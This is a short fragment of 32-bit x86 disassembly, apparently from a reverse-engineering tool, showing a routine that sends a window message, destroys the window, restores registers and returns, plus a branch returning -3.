call dword [sym.imp.USER32.dll_SendMessageA]
push esi
call dword [sym.imp.USER32.dll_DestroyWindow]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret 4
push 0xfffffffffffffffd
pop eax
jmp 0x40364e